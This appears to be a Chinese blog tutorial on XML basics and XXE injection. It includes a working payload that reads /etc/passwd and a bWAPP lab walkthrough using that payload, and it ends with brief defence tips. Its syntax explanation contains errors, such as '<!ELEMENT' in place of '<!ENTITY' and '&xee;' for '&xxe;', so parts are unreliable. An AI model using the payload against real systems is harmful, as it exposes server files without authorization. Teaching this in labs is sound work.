XXE

1.XML

  • 什麼是xml,他是用來幹什麼的?

    xml(xtensible markup language),可擴展標記語言,其實就是一種傳輸文本的格式,他的格式和html的格式非常相似,通常是來做配置文件和存貯數據。而後來出現了json,json速度更快而被廣泛使用

  • xml的內部實體和外部實體的格式是什麼樣子的

    如圖就是一個典型的xml文本:

    在這裏插入圖片描述

  1. 格式:xml聲明:<?xml version="1.0" ?>
  2. 定義文檔內部或者外部實體格式:
  3. DOCTYPE 用來聲明 DTD :<DOCTYPE 根元素[元素聲明]>
    • <!ELEMENT 實體名稱 “實體值”>
    • <!ELEMENT 實體名稱 system "URL">
    • 區段分隔符CDATA(<![CDATA[/]]): 這個分隔符的意義在於 xml 解析器不會去解析 CDATA 區段包含的字符,CDATA 指的是不應由 XML 解析器進行解析的文本數據(Unparsed Character Data)。在 XML 元素中,"<" (新元素的開始)和 “&” (字符實體的開始)是非法的。某些文本,比如 JavaScript 代碼,包含大量 “<” 或 “&” 字符。爲了避免錯誤,可以將腳本代碼定義爲 CDATA。CDATA 部分中的所有內容都會被解析器忽略。CDATA 部分由 “<![CDATA[" 開始,由 "]]>” 結束
  4. 引用實體:&實體名稱;

2.XML審查不嚴格的時候會出現什麼威脅

  • xml可以訪問外部url資源,內部的系統文件等,這種行爲就叫做xxe注入。外部實體及外部文件
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
//上述代碼中聲明瞭一個外部實體,變量名叫xxe,值引入的是//etc/passwd文件的路徑,然後進行root遍歷
  • 可使用的函數
    在這裏插入圖片描述

3.XML注入實例

  • bwapp——XML External Entity Attacks (XXE)

    在這裏插入圖片描述

  • 點擊any bugs,使用bwapp進行抓包

在這裏插入圖片描述

  • 將此xml重新設置爲:
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <reset>
      <login>&xxe;</login>
      <secret>Any bugs?</secret>
    </reset>

🔺 //其中注意引用xxe:&xee;

  • 讀取敏感文件

在這裏插入圖片描述

防禦xxe注入

  • 過濾用戶提交的xml注入
  • 禁用引用外部實體
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章